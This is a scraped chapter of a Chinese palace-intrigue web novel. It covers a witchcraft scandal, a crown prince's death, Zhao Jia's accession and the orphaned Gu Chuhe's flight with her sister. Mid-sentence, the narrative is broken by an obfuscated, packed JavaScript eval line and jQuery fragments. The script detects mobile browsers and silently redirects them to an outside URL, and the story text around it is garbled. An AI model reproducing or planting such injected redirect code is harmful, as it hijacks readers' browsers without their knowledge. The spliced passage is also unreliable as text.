默认冷灰
24号文字
方正启体

7. 新帝 三日后

作者:铆淦本书字数:K更新时间:
    三日后


    顾家参与巫蛊弑君之事,传遍坊间。


    据传夫妇二人的尸身已被官兵拖走,就连墓葬何处都不知道,已经逃到奉州城外的顾初禾听闻此事悲痛欲绝。


    顾长意几日没见到父母了,夜夜哭闹着要回去,买多少糖人都哄不住她。


    尽管装着满车的钱帛也不敢花,店铺掌柜一看她们年纪小,都以为是从哪儿偷来的钱财,次次都要报官。


    客栈要查验她们的户籍,可身为罪人之女,又不能说出自己的真实身份,只能在一处破庙里,姐妹俩相依为命。


    宫中,议事殿


    太子和皇后被分别圈禁,赵琛在战场杀敌归来,本就病体未愈,如今被百官误解,被父皇猜疑,他颇感伤怀,病得更重了,现下已卧床不起。


    冯大人早与巫师串通,巫师被捕后,当着陛下的面招供,声称:“一年前,皇四子赵安骤然离世,也是皇后命小人行巫蛊之术施咒而亡…”


    而皇后无言可辩,此事确是真的,只是太子并不知情。


    “陛下,老四的死是我做的。”


    慕氏深知自己不得宠爱,狡辩亦是无用,杀死皇四子之事她不认也得认。


    “可此番祭奠将士亡灵的蛊术与臣妾无关,若是我做的,为何不做得隐蔽一些,将符咒藏于长明灯中,极其容易被发现,难道我这么蠢?太子更是刚刚回朝,他自己身上还有伤,哪有心力布署这些。”


    龙椅上,赵昀深感疲惫,每一个字都像是从牙缝里挤出来,绵软无力,下旨:“皇后慕氏残害皇嗣,即日起废为庶人,押入冷宫。”


    说完便又垂下头,似被无形的压力压得抬不起身,“至于太子…”


    话音未落,议事殿外,太子身边的内监被台阶绊倒,跪趴在地上哭着奏报:“陛下!太子…太子薨了…”


    太子到底还没有被废,内监宫女闻之纷纷跪地掩面而泣,皇后更是如天塌般死心,彻底晕厥过去。


    太子之师窦太傅携皇七子赵嘉前来求情,还未能面圣,便听闻太子薨逝,二人捶胸顿足,只恨来晚一步。


    为了皇家颜面,赵昀依窦太傅所请,依旧以太子仪制下葬赵琛,并追封其谥号为恭吉。


    恭吉太子出殡那日,皇后疯了,在冷宫抱着枕头赤足狂奔。


    半年后


    东宫之位空悬,朝局动荡不定,为稳民心,赵昀在百官的请求下,立二皇子赵献为新太子。


    赵献之母是贵妃,出身尊贵。


    自恭吉太子薨后,他时常以兄长的身份欺压其他皇弟,嚣张跋扈。


    皇七子赵嘉的生母难产而亡,十六年前刚出生便交由皇后抚养,如今恭吉太子已逝,皇后被锁冷宫,他常常受到新太子的羞辱,不知该何去何从。


    幸而他身边还有一位自幼一同长大的伴读相随,压抑沉闷的皇宫里,也算还有个能说得上话的知己。


    仁惠殿


    赵嘉从习武场回来,看见知己从宫外带进来的食盒,脸上的阴霾尽散。


    他绽出笑颜,朝着知己走去,“砚舟,等急了吧?”


    陆砚舟提着食盒,微微躬身行礼。


    “七殿下。”


    “哎呀,不是都说了嘛,没有外人的时候就唤我敏德。”


    赵嘉行七,字敏德,除父皇母后外,只有陆砚舟可以唤他敏德,就连已逝的太子哥哥都不行。


    陆砚舟之前跟顾初禾提起的贵夫人就是皇后,那个给了他二十两安葬父亲的大公子,便是恭吉太子。


    他的母亲是赵嘉的乳娘,也是皇后的贴身侍婢。


    四岁那年,他就进宫伴读在赵嘉身旁,亲如兄弟。


    陆砚舟父亲死后,他出宫待了半年,赵嘉没有一日不盼着他早日回来。


    本来陆砚舟还打算再在民间漂泊一阵,直到听闻巫蛊之事,他担心皇后和太子,便提早回宫了。


    只可惜,他晚了一步,等他到宫里的时候,就连恭吉太子的最后一面都没见上。


    二人面对面席地而坐,共享一盒糕饼。


    “先太子的品行有目共睹,巫蛊之事绝不可能是他做的,此事疑点重重大有文章。太子骤然病逝床榻,显然是有人等不及了。”


    陆砚舟至今还是不愿相信恭吉太子意图弑君,无论外头风言风语传得多么夸张,他始终坚信此案存疑。


    说句僭越的话,他在心里早就将恭吉太子,视为兄长一般敬爱了。


    赵嘉闻言,忙捂住他的嘴:“这是在宫里,到处都是旁人的耳目眼线,说话可要谨慎些。况且,如今的新太子已是二哥,切莫犯了禁忌,可别唤错了人。”


    “新太子…无德无良的太子,如何能服众。”


    陆砚舟心中憋着一口气无处宣泄,本以为仁惠殿是赵嘉的地盘,他们说话能自在些,不想殿中的宫女内监都被新太子换了一批,说起话来更加不能畅快了。


    他压低了声音,蹙眉提议道:“敏德,宫中气象污浊,朝堂混乱一片,你背后无人撑腰,若是再待下去,只怕下场犹如先太子。不如,你去向陛下请旨去封地吧,我亦随你一起,远离这些是非。”


    “你说的是,我这些日子也一直在想,我曾被皇后娘娘抚养多年,二哥因此视我为眼中钉,宫中的日子的确不好过…”


    赵嘉将最后一块糕饼丢入口中,站起身拍了拍屁股,点点头笑道:“也罢,宫外自在随心,你我只管畅游天下,这皇位就交由他们争去吧。”


    次日一早,赵嘉便向父皇提出自请去封地。


    这样的请求,无异于昭告天下,他无心争夺皇位。


    可赵昀并没有同意,还让赵嘉留下,父子俩秘密谈话了一个时辰,之后便加封赵嘉为敏亲王,不仅赐了府宅,还为他选定了两朝老臣佟公的女儿为王妃。


    陆砚舟怎么都没料到事情的走向会是这样,可他想明白了这件事背后的用意。


    陛下必然是听闻新太子残暴无德,便起了废储之心,欲改立赵嘉为东宫新主。


    果然,此猜想在一年后得到了印证。


    陛下深夜下旨将太子赵献缉拿下狱,废了他的储君之位,连同他的母妃也一起废黜。


    此后,皇七子敏亲王赵嘉入主东宫,陆砚舟被封为太子亲卫军统领,可自由出入皇宫内外,替太子办差。


    赵嘉仁善勤恳,不似赵献般狂妄无度,百官欣慰敬服,就连慕氏一族也对他极其拥戴,只因他曾养在皇后膝下,立他为太子,总好过其余皇子。


    江山有继,赵昀却重病缠身。


    祐宁十六年,天子赵昀于议事殿吐血驾崩。


    新帝赵嘉登基,改年号为奉启,太子妃佟氏册立为后,陆砚舟升任殿前指挥使。


    时过境迁,新帝登基。


    在外流落了一年半的顾初禾仍旧不敢松懈,她在破庙里藏着,平时无事压根也不敢去城中,生怕被人识出。


    她白天带着妹妹用弹弓射兔,下河叉鱼,上山摘野菜,夜里还要防着官兵来追捕,几乎没有睡过一个整觉。


    直到这一日,妹妹顾长意喘疾复发,为了给妹妹治病,她才迈出了深山。


    原本顾长意的病已经好得差不多了,可家中突发变故,断了汤药又漂泊在外,吃住都很艰难,再好的身子也扛不住了。


    顾初禾换了一身少年男子装束,来到医馆求药。


    如今大承


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556904|171315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    国民安兴泰,边关也无战事,新帝登基后下令不允许权贵囤积药物,因此百姓也能以正常价格买到救命的药材了,只是顾初禾久居深山并不知情。


    大夫看了一眼药方,捋着胡须对顾初禾道:“小公子,你这出手也太阔绰了。新帝仁厚爱民,为了让百姓们都有药可医,无论是什么名贵的药材,如今都能以低价买到了,你这药方至多也只需二十两。”


    说着,大夫亲自去给她抓药了,顾初禾恍惚着以为自己听错了。


    当初这些药别说是二十两了,就是二百两都不一定能买到,看来京里的那些权贵怕新帝动怒,已将府中存压的药材都低价回售给药商们了。


    药材多了,病人少了,价钱自然就低廉了下来。


    直到药包抓在她手上,她才信了这是真的。


    出了医馆,满街的百姓都在夸赞新帝的仁德宽厚,只有顾初禾还像活在梦里。


    先帝驾崩,如今也没人再提当年的巫蛊之事了。


    她心想,或许真的已经风平浪静,便决定听母亲的建议,去锦州投奔珍姨。


    顾长意也渐渐大了,若一直在破庙里住着,只怕耽误了她。


    若珍姨愿意收留她们,给顾长意找个学堂念书识字,那她也愿意将身上所有的钱帛珠宝都赠给珍姨。


    锦州路途遥远,顾初禾从前虽然陪母亲去过几次,可每次都是走走歇歇,边玩边赶路,并且是由车夫驾马赶车的。


    现在她要一个人带着妹妹,仅靠问路前往锦州,犹如瞎子过河,摸不着边。


    八月盛暑,日头高悬。


    喂完了药,顾初禾哄妹妹睡着后,又细心给她的肚皮盖上了薄被。


    破庙陈旧不堪,蛛网横七竖八,尘土厚积,佛像缺胳膊少腿。


    知了在枝头不知疲倦地嘶鸣,声音尖锐又聒噪,仿佛也在宣泄着对这酷热的不满。


    顾初禾不停地挥舞着手中的破布,驱赶那成群的蚊子,望着这破败的庙宇和恶劣的环境,满心无奈与疲惫,终是落下泪来。


    这一年半的风餐露宿,她都不知道自己是怎么撑下来的,或许是因为心中的那个执念,她想要查出巫蛊案的幕后黑手是谁,替父母报仇。


    自从得知了天福寺住持的真面目后,她再也不信什么善因善果了,也不信真的有神灵存在,若真有…她的父母也不会惨死。


    在这破庙住了这么久,她从来没有跪拜过神佛,尽管日日都在佛像下吃住,她也没有忌过口,该吃肉吃肉。


    可今日,她做出决定,即将动身去锦州。


    临行前,她打算再给神灵最后一次机会。


    她拖着沉重的身躯走到佛前,双手合十,跪在地上祈愿:“若这世上真有救苦救难的菩萨,那我求您,让我的父母早入轮回莫要受苦,也求您,护佑意儿健康平安,旧疾早愈,只要您做到这两件事,从此以后我烧香拜佛,一世敬您。”


    次日天一亮,顾初禾到河边将布沾湿,把破庙里里外外都清扫了一遍,只要是能够得着的神像全都擦得干干净净,还从山里摘来了鲜果奉在佛前。


    “姐姐,我们要去哪儿?”,顾长意见她将所有行李都搬上了马车,就知道她们即将要离开了。


    顾初禾俯下身,用力将妹妹抱上马车,笑着说道:“去…给我们找个家。”


    “家?”


    顾长意年幼离家,这一年半里只跟姐姐朝夕相处,现在让她回忆顾宅,回忆父母,她脑海里就只剩下模糊的印象。


    她还以为,这个破庙,就是她们的家。


    “坐稳了,我们上路啦。”,顾初禾为免暴露身份,一直将男装穿在身上,这些天竟也穿习惯了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)